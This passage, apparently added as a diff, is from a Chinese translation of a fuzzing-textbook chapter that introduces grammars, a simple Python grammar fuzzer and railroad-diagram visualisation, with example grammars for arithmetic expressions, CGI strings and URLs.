+<number>  ::= <integer> | +<integer> | -<integer>
+<integer> ::= <digit> | <digit><integer>
+<digit>   ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
+```
+
+这些规则正式定义了语言：可以从起始符号派生的任何内容都是该语言的一部分； 没有的一切都不是。
+
+### 算术表达式
+
+让我们扩展语法以涵盖完整的*算术表达式*-语法的后代子示例。 我们看到表达式（`<expr>`）是和，差，或项。 术语是产品或部门或因素； 因素是数字或带括号的表达式。 几乎所有规则都可以递归，因此可以使用任意复杂的表达式，例如`(1 + 2) * (3.4 / 5.6 - 789)`。
+
+```py
+<start>   ::= <expr>
+<expr>    ::= <term> + <expr> | <term> - <expr> | <term>
+<term>    ::= <term> * <factor> | <term> / <factor> | <factor>
+<factor>  ::= +<factor> | -<factor> | (<expr>) | <integer> | <integer>.<integer>
+<integer> ::= <digit><integer> | <digit>
+<digit>   ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
+```
+
+在这样的语法中，如果我们以`<start>`开头，然后将一个符号扩展为另一个，随机选择替代符号，则可以快速地生成一个有效的算术表达式。 这种*语法模糊*可以产生复杂的输入，因此非常有效，这就是我们将在本章中实现的功能。
+
+## 在Python 中表示语法
+
+构建语法模糊器的第一步是为语法找到合适的格式。 为了使语法的编写尽可能简单，我们使用基于字符串和列表的格式。 我们在Python中的语法采用符号名称和扩展名之间的*映射*的格式，其中扩展名是*列表的*。 因此，数字的单规则语法采用以下形式：
+
+```py
+DIGIT_GRAMMAR = {
+    "<start>":
+        ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
+}
+
+```
+
+而算术表达式的完整语法如下所示：
+
+```py
+EXPR_GRAMMAR = {
+    "<start>":
+        ["<expr>"],
+
+    "<expr>":
+        ["<term> + <expr>", "<term> - <expr>", "<term>"],
+
+    "<term>":
+        ["<factor> * <term>", "<factor> / <term>", "<factor>"],
+
+    "<factor>":
+        ["+<factor>",
+         "-<factor>",
+         "(<expr>)",
+         "<integer>.<integer>",
+         "<integer>"],
+
+    "<integer>":
+        ["<digit><integer>", "<digit>"],
+
+    "<digit>":
+        ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
+}
+
+```
+
+在语法中，每个符号可以定义一次。 我们可以通过其符号访问任何规则...
+
+```py
+EXPR_GRAMMAR["<digit>"]
+
+```
+
+```py
+['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+
+```
+
+....我们可以检查语法中是否包含符号：
+
+```py
+"<identifier>" in EXPR_GRAMMAR
+
+```
+
+```py
+False
+
+```
+
+请注意，我们假设在规则的左侧（即映射中的键）始终是单个符号。 这是使我们的语法具有*上下文无关*的特征的属性。
+
+## 一些定义
+
+我们假设规范的开始符号是`<start>`：
+
+```py
+START_SYMBOL = "<start>"
+
+```
+
+方便的`nonterminals()`函数从扩展中提取非终结符列表（即`<`和`>`之间的任何字符，空格除外）。
+
+```py
+import [re](https://docs.python.org/3/library/re.html)
+
+```
+
+```py
+RE_NONTERMINAL = re.compile(r'(<[^<> ]*>)')
+
+```
+
+```py
+def nonterminals(expansion):
+    # In later chapters, we allow expansions to be tuples,
+    # with the expansion being the first element
+    if isinstance(expansion, tuple):
+        expansion = expansion[0]
+
+    return re.findall(RE_NONTERMINAL, expansion)
+
+```
+
+```py
+assert nonterminals("<term> * <factor>") == ["<term>", "<factor>"]
+assert nonterminals("<digit><integer>") == ["<digit>", "<integer>"]
+assert nonterminals("1 < 3 > 2") == []
+assert nonterminals("1 <3> 2") == ["<3>"]
+assert nonterminals("1 + 2") == []
+assert nonterminals(("<1>", {'option': 'value'})) == ["<1>"]
+
+```
+
+同样，`is_nonterminal()`检查某个符号是否为非终结符：
+
+```py
+def is_nonterminal(s):
+    return re.match(RE_NONTERMINAL, s)
+
+```
+
+```py
+assert is_nonterminal("<abc>")
+assert is_nonterminal("<symbol-1>")
+assert not is_nonterminal("+")
+
+```
+
+## 一个简单的语法模糊器
+
+现在让我们使用以上语法。 我们将构建一个非常简单的语法模糊器，以起始符号（`<start>`）开头，然后继续对其进行扩展。 为了避免扩展为无限输入，我们对非终端数设置了限制（`max_nonterminals`）。 此外，为了避免陷入无法再减少符号数的情况，我们还限制了扩展步骤的总数。
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+class ExpansionError(Exception):
+    pass
+
+```
+
+```py
+def simple_grammar_fuzzer(grammar, start_symbol=START_SYMBOL,
+                          max_nonterminals=10, max_expansion_trials=100,
+                          log=False):
+    term = start_symbol
+    expansion_trials = 0
+
+    while len(nonterminals(term)) > 0:
+        symbol_to_expand = random.choice(nonterminals(term))
+        expansions = grammar[symbol_to_expand]
+        expansion = random.choice(expansions)
+        new_term = term.replace(symbol_to_expand, expansion, 1)
+
+        if len(nonterminals(new_term)) < max_nonterminals:
+            term = new_term
+            if log:
+                print("%-40s" % (symbol_to_expand + " -> " + expansion), term)
+            expansion_trials = 0
+        else:
+            expansion_trials += 1
+            if expansion_trials >= max_expansion_trials:
+                raise ExpansionError("Cannot expand " + repr(term))
+
+    return term
+
+```
+
+让我们看看这个简单的语法模糊器如何从起始符号中获得算术表达式：
+
+```py
+simple_grammar_fuzzer(grammar=EXPR_GRAMMAR, max_nonterminals=3, log=True)
+
+```
+
+```py
+<start> -> <expr>                        <expr>
+<expr> -> <term> + <expr>                <term> + <expr>
+<term> -> <factor>                       <factor> + <expr>
+<factor> -> <integer>                    <integer> + <expr>
+<integer> -> <digit>                     <digit> + <expr>
+<digit> -> 6                             6 + <expr>
+<expr> -> <term> - <expr>                6 + <term> - <expr>
+<expr> -> <term>                         6 + <term> - <term>
+<term> -> <factor>                       6 + <factor> - <term>
+<factor> -> -<factor>                    6 + -<factor> - <term>
+<term> -> <factor>                       6 + -<factor> - <factor>
+<factor> -> (<expr>)                     6 + -(<expr>) - <factor>
+<factor> -> (<expr>)                     6 + -(<expr>) - (<expr>)
+<expr> -> <term>                         6 + -(<term>) - (<expr>)
+<expr> -> <term>                         6 + -(<term>) - (<term>)
+<term> -> <factor>                       6 + -(<factor>) - (<term>)
+<factor> -> +<factor>                    6 + -(+<factor>) - (<term>)
+<factor> -> +<factor>                    6 + -(++<factor>) - (<term>)
+<term> -> <factor>                       6 + -(++<factor>) - (<factor>)
+<factor> -> (<expr>)                     6 + -(++(<expr>)) - (<factor>)
+<factor> -> <integer>                    6 + -(++(<expr>)) - (<integer>)
+<expr> -> <term>                         6 + -(++(<term>)) - (<integer>)
+<integer> -> <digit>                     6 + -(++(<term>)) - (<digit>)
+<digit> -> 9                             6 + -(++(<term>)) - (9)
+<term> -> <factor> * <term>              6 + -(++(<factor> * <term>)) - (9)
+<term> -> <factor>                       6 + -(++(<factor> * <factor>)) - (9)
+<factor> -> <integer>                    6 + -(++(<integer> * <factor>)) - (9)
+<integer> -> <digit>                     6 + -(++(<digit> * <factor>)) - (9)
+<digit> -> 2                             6 + -(++(2 * <factor>)) - (9)
+<factor> -> +<factor>                    6 + -(++(2 * +<factor>)) - (9)
+<factor> -> -<factor>                    6 + -(++(2 * +-<factor>)) - (9)
+<factor> -> -<factor>                    6 + -(++(2 * +--<factor>)) - (9)
+<factor> -> -<factor>                    6 + -(++(2 * +---<factor>)) - (9)
+<factor> -> -<factor>                    6 + -(++(2 * +----<factor>)) - (9)
+<factor> -> <integer>.<integer>          6 + -(++(2 * +----<integer>.<integer>)) - (9)
+<integer> -> <digit>                     6 + -(++(2 * +----<digit>.<integer>)) - (9)
+<integer> -> <digit>                     6 + -(++(2 * +----<digit>.<digit>)) - (9)
+<digit> -> 1                             6 + -(++(2 * +----1.<digit>)) - (9)
+<digit> -> 7                             6 + -(++(2 * +----1.7)) - (9)
+
+```
+
+```py
+'6 + -(++(2 * +----1.7)) - (9)'
+
+```
+
+通过增加非终端的数量，我们可以快速获得更长的产量：
+
+```py
+for i in range(10):
+    print(simple_grammar_fuzzer(grammar=EXPR_GRAMMAR, max_nonterminals=5))
+
+```
+
+```py
+7 / +48.5
+-5.9 / 9 - 4 * +-(-+++((1 + (+7 - (-1 * (++-+7.7 - -+-4.0))))) * +--4 - -(6) + 64)
+8.2 - 27 - -9 / +((+9 * --2 + --+-+-((-1 * +(8 - 5 - 6)) * (-((-+(((+(4))))) - ++4) / +(-+---((5.6 - --(3 * -1.8 * +(6 * +-(((-(-6) * ---+6)) / +--(+-+-7 * (-0 * (+(((((2)) + 8 - 3 - ++9.0 + ---(--+7 / (1 / +++6.37) + (1) / 482) / +++-+0)))) * -+5 + 7.513)))) - (+1 / ++((-84)))))))) * ++5 / +-(--2 - -++-9.0)))) / 5 * --++090
+1 - -3 * 7 - 28 / 9
+(+9) * +-5 * ++-926.2 - (+9.03 / -+(-(-6) / 2 * +(-+--(8) / -(+1.0) - 5 + 4)) * 3.5)
+8 + -(9.6 - 3 - -+-4 * +77)
+-(((((++((((+((++++-((+-37))))))))))))) / ++(-(+++(+6)) * -++-(+(++(---6 * (((7)) * (1) / (-7.6 * 535338) + +256) * 0) * 0))) - 4 + +1
+5.43
+(9 / -405 / -23 - +-((+-(2 * (13))))) + +6 - +8 - 934
+-++2 - (--+715769550) / 8 / (1)
+
+```
+
+注意，由于大量的搜索和替换操作，此模糊器效率很低。 另一方面，实现很简单，并且在大多数情况下都能胜任。 在本章中，我们将坚持下去； 在[下一章](GrammarFuzzer.html)中，我们将展示如何构建更有效的代码。
+
+## 将语法可视化为铁路图
+
+使用语法，我们可以轻松指定前面讨论的几个示例的格式。 例如，上述算术表达式可以直接发送到`bc`（或任何采用算术表达式的程序）中。 在介绍一些其他语法之前，让我们给出一种方法，使*可视化*，并提供另一种视图以帮助他们理解。
+
+*铁路图*，也称为*语法图*，是无上下文语法的图形表示。 按照可能的“轨道”轨迹从左到右读取它们； 轨道上遇到的符号顺序定义了语言。
+
+我们使用 [RailroadDiagrams](RailroadDiagrams.html) （一个用于可视化的外部库）。
+
+```py
+from [RailroadDiagrams](RailroadDiagrams.html) import NonTerminal, Terminal, Choice, HorizontalChoice, Sequence, Diagram, show_diagram
+
+```
+
+```py
+from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import SVG, display
+
+```
+
+我们首先定义方法`syntax_diagram_symbol()`以可视化给定的符号。 终端符号表示为椭圆形，而非终端符号（例如`<term>`）表示为矩形。
+
+```py
+def syntax_diagram_symbol(symbol):
+    if is_nonterminal(symbol):
+        return NonTerminal(symbol[1:-1])
+    else:
+        return Terminal(symbol)
+
+```
+
+```py
+SVG(show_diagram(syntax_diagram_symbol('<term>')))
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 154.0 62" width="154.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g class="non-terminal"><text x="77.0" y="35">term</text></g></g></svg>
+
+我们定义`syntax_diagram_expr()`以可视化扩展替代方案。
+
+```py
+def syntax_diagram_expr(expansion):
+    # In later chapters, we allow expansions to be tuples,
+    # with the expansion being the first element
+    if isinstance(expansion, tuple):
+        expansion = expansion[0]
+
+    symbols = [sym for sym in re.split(RE_NONTERMINAL, expansion) if sym != ""]
+    if len(symbols) == 0:
+        symbols = [""]  # special case: empty expansion
+
+    return Sequence(*[syntax_diagram_symbol(sym) for sym in symbols])
+
+```
+
+```py
+SVG(show_diagram(syntax_diagram_expr(EXPR_GRAMMAR['<term>'][0])))
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 310.5 62" width="310.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g class="non-terminal"><text x="85.5" y="35">factor</text></g> <g class="terminal"><text x="163.75" y="35">*</text></g> <g class="non-terminal"><text x="233.5" y="35">term</text></g></g></g></svg>
+
+这是`<term>`的第一种选择– `<factor>`，然后是`*`和`<term>`。
+
+接下来，我们定义`syntax_diagram_alt()`以显示替代表达式。
+
+```py
+from [itertools](https://docs.python.org/3/library/itertools.html) import zip_longest
+
+```
+
+```py
+def syntax_diagram_alt(alt):
+    max_len = 5
+    alt_len = len(alt)
+    if alt_len > max_len:
+        iter_len = alt_len // max_len
+        alts = list(zip_longest(*[alt[i::iter_len] for i in range(iter_len)]))
+        exprs = [[syntax_diagram_expr(expr) for expr in alt
+                  if expr is not None] for alt in alts]
+        choices = [Choice(len(expr) // 2, *expr) for expr in exprs]
+        return HorizontalChoice(*choices)
+    else:
+        return Choice(alt_len // 2, *[syntax_diagram_expr(expr) for expr in alt])
+
+```
+
+```py
+SVG(show_diagram(syntax_diagram_alt(EXPR_GRAMMAR['<digit>'])))
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+我们看到`<digit>`可以是`0`到`9`的任何一位数字。
+
+最后，我们定义`syntax_diagram()`，它给出了一个语法，显示了其规则的语法图。
+
+```py
+def syntax_diagram(grammar):
+    from [IPython.display](https://ipython.readthedocs.io/en/stable/api/generated/IPython.display.html) import SVG, display
+
+    for key in grammar:
+        print("%s" % key[1:-1])
+        display(SVG(show_diagram(syntax_diagram_alt(grammar[key]))))
+
+```
+
+```py
+syntax_diagram(EXPR_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 174.0 62" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">expr</text></g></g></g></g></svg>
+
+```py
+expr
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 313.5 122" width="313.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="87.0" y="35">term</text></g> <g class="terminal"><text x="156.75" y="35">+</text></g> <g class="non-terminal"><text x="226.5" y="35">expr</text></g></g> <g><g class="non-terminal"><text x="87.0" y="65">term</text></g> <g class="terminal"><text x="156.75" y="65">-</text></g> <g class="non-terminal"><text x="226.5" y="65">expr</text></g></g> <g><g class="non-terminal"><text x="156.75" y="95">term</text></g></g></g></g></svg>
+
+```py
+term
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 330.5 122" width="330.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">factor</text></g> <g class="terminal"><text x="173.75" y="35">*</text></g> <g class="non-terminal"><text x="243.5" y="35">term</text></g></g> <g><g class="non-terminal"><text x="95.5" y="65">factor</text></g> <g class="terminal"><text x="173.75" y="65">/</text></g> <g class="non-terminal"><text x="243.5" y="65">term</text></g></g> <g><g class="non-terminal"><text x="165.25" y="95">factor</text></g></g></g></g></svg>
+
+```py
+factor
+
+```
+
+ <svg class="railroad-diagram" height="182" viewBox="0 0 347.5 182" width="347.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="128.25" y="65">-</text></g> <g class="non-terminal"><text x="198.0" y="65">factor</text></g></g> <g><g class="terminal"><text x="128.25" y="35">+</text></g> <g class="non-terminal"><text x="198.0" y="35">factor</text></g></g> <g><g class="terminal"><text x="112.5" y="95">(</text></g> <g class="non-terminal"><text x="173.75" y="95">expr</text></g> <g class="terminal"><text x="235.0" y="95">)</text></g></g> <g><g class="non-terminal"><text x="99.75" y="125">integer</text></g> <g class="terminal"><text x="173.75" y="125">.</text></g> <g class="non-terminal"><text x="247.75" y="125">integer</text></g></g> <g><g class="non-terminal"><text x="173.75" y="155">integer</text></g></g></g></g></svg>
+
+```py
+integer
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 282.0 92" width="282.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="91.25" y="35">digit</text></g> <g class="non-terminal"><text x="182.25" y="35">integer</text></g></g> <g><g class="non-terminal"><text x="141.0" y="65">digit</text></g></g></g></g></svg>
+
+```py
+digit
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+这种铁路表示形式将在可视化语法结构时派上用场-特别是对于更复杂的语法。
+
+## 一些文法
+
+让我们创建（并可视化）更多语法并将其用于模糊测试。
+
+### CGI语法
+
+这是[关于覆盖](Coverage.html)的一章中介绍的`cgi_decode()`的语法。
+
+```py
+CGI_GRAMMAR = {
+    "<start>":
+        ["<string>"],
+
+    "<string>":
+        ["<letter>", "<letter><string>"],
+
+    "<letter>":
+        ["<plus>", "<percent>", "<other>"],
+
+    "<plus>":
+        ["+"],
+
+    "<percent>":
+        ["%<hexdigit><hexdigit>"],
+
+    "<hexdigit>":
+        ["0", "1", "2", "3", "4", "5", "6", "7",
+            "8", "9", "a", "b", "c", "d", "e", "f"],
+
+    "<other>":  # Actually, could be _all_ letters
+        ["0", "1", "2", "3", "4", "5", "a", "b", "c", "d", "e", "-", "_"],
+}
+
+```
+
+```py
+syntax_diagram(CGI_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 191.0 62" width="191.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">string</text></g></g></g></g></svg>
+
+```py
+string
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 282.0 92" width="282.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="141.0" y="35">letter</text></g></g> <g><g class="non-terminal"><text x="95.5" y="65">letter</text></g> <g class="non-terminal"><text x="186.5" y="65">string</text></g></g></g></g></svg>
+
+```py
+letter
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 199.5 122" width="199.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="99.75" y="35">plus</text></g></g> <g><g class="non-terminal"><text x="99.75" y="65">percent</text></g></g> <g><g class="non-terminal"><text x="99.75" y="95">other</text></g></g></g></g></svg>
+
+```py
+plus
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 148.5 62" width="148.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">+</text></g></g></g></g></svg>
+
+```py
+percent
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 364.5 62" width="364.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="35">%</text></g> <g class="non-terminal"><text x="152.5" y="35">hexdigit</text></g> <g class="non-terminal"><text x="260.5" y="35">hexdigit</text></g></g></g></g></svg>
+
+```py
+hexdigit
+
+```
+
+ <svg class="railroad-diagram" height="138" viewBox="0 0 611.0 138" width="611.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g> <g><g class="terminal"><text x="84.25" y="103">2</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">3</text></g></g> <g><g class="terminal"><text x="172.75" y="73">4</text></g></g> <g><g class="terminal"><text x="172.75" y="103">5</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">6</text></g></g> <g><g class="terminal"><text x="261.25" y="73">7</text></g></g> <g><g class="terminal"><text x="261.25" y="103">8</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">9</text></g></g> <g><g class="terminal"><text x="349.75" y="73">a</text></g></g> <g><g class="terminal"><text x="349.75" y="103">b</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">c</text></g></g> <g><g class="terminal"><text x="438.25" y="73">d</text></g></g> <g><g class="terminal"><text x="438.25" y="103">e</text></g></g></g> <g><g><g class="terminal"><text x="526.75" y="73">f</text></g></g></g></g></g></svg>
+
+```py
+other
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 699.5 109" width="699.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">a</text></g></g> <g><g class="terminal"><text x="349.75" y="73">b</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">c</text></g></g> <g><g class="terminal"><text x="438.25" y="73">d</text></g></g></g> <g><g><g class="terminal"><text x="526.75" y="43">e</text></g></g> <g><g class="terminal"><text x="526.75" y="73">-</text></g></g></g> <g><g><g class="terminal"><text x="615.25" y="73">_</text></g></g></g></g></g></svg>
+
+与[基本模糊处理](Fuzzer.html)或基于[突变的模糊处理](MutationFuzzer.html)相比，语法可以快速产生各种组合：
+
+```py
+for i in range(10):
+    print(simple_grammar_fuzzer(grammar=CGI_GRAMMAR, max_nonterminals=10))
+
+```
+
+```py
++%9a
++++%ce+
++_
++%c6c
+++
++%cd+5
+1%ee
+%b9%d5
+%96
+%57d%42
+
+```
+
+### URL语法
+
+我们为CGI输入看到的相同属性也适用于更复杂的输入。 让我们使用一种语法来产生大量有效的URL：
+
+```py
+URL_GRAMMAR = {
+    "<start>":
+        ["<url>"],
+    "<url>":
+        ["<scheme>://<authority><path><query>"],
+    "<scheme>":
+        ["http", "https", "ftp", "ftps"],
+    "<authority>":
+        ["<host>", "<host>:<port>", "<userinfo>@<host>", "<userinfo>@<host>:<port>"],
+    "<host>":  # Just a few
+        ["cispa.saarland", "www.google.com", "fuzzingbook.com"],
+    "<port>":
+        ["80", "8080", "<nat>"],
+    "<nat>":
+        ["<digit>", "<digit><digit>"],
+    "<digit>":
+        ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
+    "<userinfo>":  # Just one
+        ["user:password"],
+    "<path>":  # Just a few
+        ["", "/", "/<id>"],
+    "<id>":  # Just a few
+        ["abc", "def", "x<digit><digit>"],
+    "<query>":
+        ["", "?<params>"],
+    "<params>":
+        ["<param>", "<param>&<params>"],
+    "<param>":  # Just a few
+        ["<id>=<id>", "<id>=<nat>"],
+}
+
+```
+
+```py
+syntax_diagram(URL_GRAMMAR)
+
+```
+
+```py
+start
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 165.5 62" width="165.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="82.75" y="35">url</text></g></g></g></g></svg>
+
+```py
+url
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 529.5 62" width="529.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="95.5" y="35">scheme</text></g> <g class="terminal"><text x="173.75" y="35">://</text></g> <g class="non-terminal"><text x="264.75" y="35">authority</text></g> <g class="non-terminal"><text x="360.0" y="35">path</text></g> <g class="non-terminal"><text x="438.25" y="35">query</text></g></g></g></g></svg>
+
+```py
+scheme
+
+```
+
+ <svg class="railroad-diagram" height="152" viewBox="0 0 182.5 152" width="182.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="91.25" y="65">https</text></g></g> <g><g class="terminal"><text x="91.25" y="35">http</text></g></g> <g><g class="terminal"><text x="91.25" y="95">ftp</text></g></g> <g><g class="terminal"><text x="91.25" y="125">ftps</text></g></g></g></g></svg>
+
+```py
+authority
+
+```
+
+ <svg class="railroad-diagram" height="152" viewBox="0 0 453.0 152" width="453.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="165.25" y="65">host</text></g> <g class="terminal"><text x="226.5" y="65">:</text></g> <g class="non-terminal"><text x="287.75" y="65">port</text></g></g> <g><g class="non-terminal"><text x="226.5" y="35">host</text></g></g> <g><g class="non-terminal"><text x="165.25" y="95">userinfo</text></g> <g class="terminal"><text x="243.5" y="95">@</text></g> <g class="non-terminal"><text x="304.75" y="95">host</text></g></g> <g><g class="non-terminal"><text x="104.0" y="125">userinfo</text></g> <g class="terminal"><text x="182.25" y="125">@</text></g> <g class="non-terminal"><text x="243.5" y="125">host</text></g> <g class="terminal"><text x="304.75" y="125">:</text></g> <g class="non-terminal"><text x="366.0" y="125">port</text></g></g></g></g></svg>
+
+```py
+host
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 267.5 122" width="267.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="133.75" y="35">cispa.saarland</text></g></g> <g><g class="terminal"><text x="133.75" y="65">www.google.com</text></g></g> <g><g class="terminal"><text x="133.75" y="95">fuzzingbook.com</text></g></g></g></g></svg>
+
+```py
+port
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 174.0 122" width="174.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="87.0" y="35">80</text></g></g> <g><g class="terminal"><text x="87.0" y="65">8080</text></g></g> <g><g class="non-terminal"><text x="87.0" y="95">nat</text></g></g></g></g></svg>
+
+```py
+nat
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 265.0 92" width="265.0" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="non-terminal"><text x="132.5" y="35">digit</text></g></g> <g><g class="non-terminal"><text x="91.25" y="65">digit</text></g> <g class="non-terminal"><text x="173.75" y="65">digit</text></g></g></g></g></svg>
+
+```py
+digit
+
+```
+
+ <svg class="railroad-diagram" height="109" viewBox="0 0 522.5 109" width="522.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g><g class="terminal"><text x="84.25" y="43">0</text></g></g> <g><g class="terminal"><text x="84.25" y="73">1</text></g></g></g> <g><g><g class="terminal"><text x="172.75" y="43">2</text></g></g> <g><g class="terminal"><text x="172.75" y="73">3</text></g></g></g> <g><g><g class="terminal"><text x="261.25" y="43">4</text></g></g> <g><g class="terminal"><text x="261.25" y="73">5</text></g></g></g> <g><g><g class="terminal"><text x="349.75" y="43">6</text></g></g> <g><g class="terminal"><text x="349.75" y="73">7</text></g></g></g> <g><g><g class="terminal"><text x="438.25" y="43">8</text></g></g> <g><g class="terminal"><text x="438.25" y="73">9</text></g></g></g></g></g></svg>
+
+```py
+userinfo
+
+```
+
+ <svg class="railroad-diagram" height="62" viewBox="0 0 250.5 62" width="250.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="125.25" y="35">user:password</text></g></g></g></g></svg>
+
+```py
+path
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 205.5 122" width="205.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="102.75" y="65">/</text></g></g> <g><g class="terminal"><text x="74.25" y="95">/</text></g> <g class="non-terminal"><text x="127.0" y="95">id</text></g></g></g></g></svg>
+
+```py
+id
+
+```
+
+ <svg class="railroad-diagram" height="122" viewBox="0 0 313.5 122" width="313.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="156.75" y="35">abc</text></g></g> <g><g class="terminal"><text x="156.75" y="65">def</text></g></g> <g><g class="terminal"><text x="74.25" y="95">x</text></g> <g class="non-terminal"><text x="139.75" y="95">digit</text></g> <g class="non-terminal"><text x="222.25" y="95">digit</text></g></g></g></g></svg>
+
+```py
+query
+
+```
+
+ <svg class="railroad-diagram" height="92" viewBox="0 0 239.5 92" width="239.5" xmlns="http://www.w3.org/2000/svg"><g transform="translate(.5 .5)"><g><g><g class="terminal"><text x="74.25" y="65">?</text></g> <g class="non-terminal"><text x="144.0" y="65">params</text></g></g></g></g></svg>
+
+```py
+params
+
+```
+
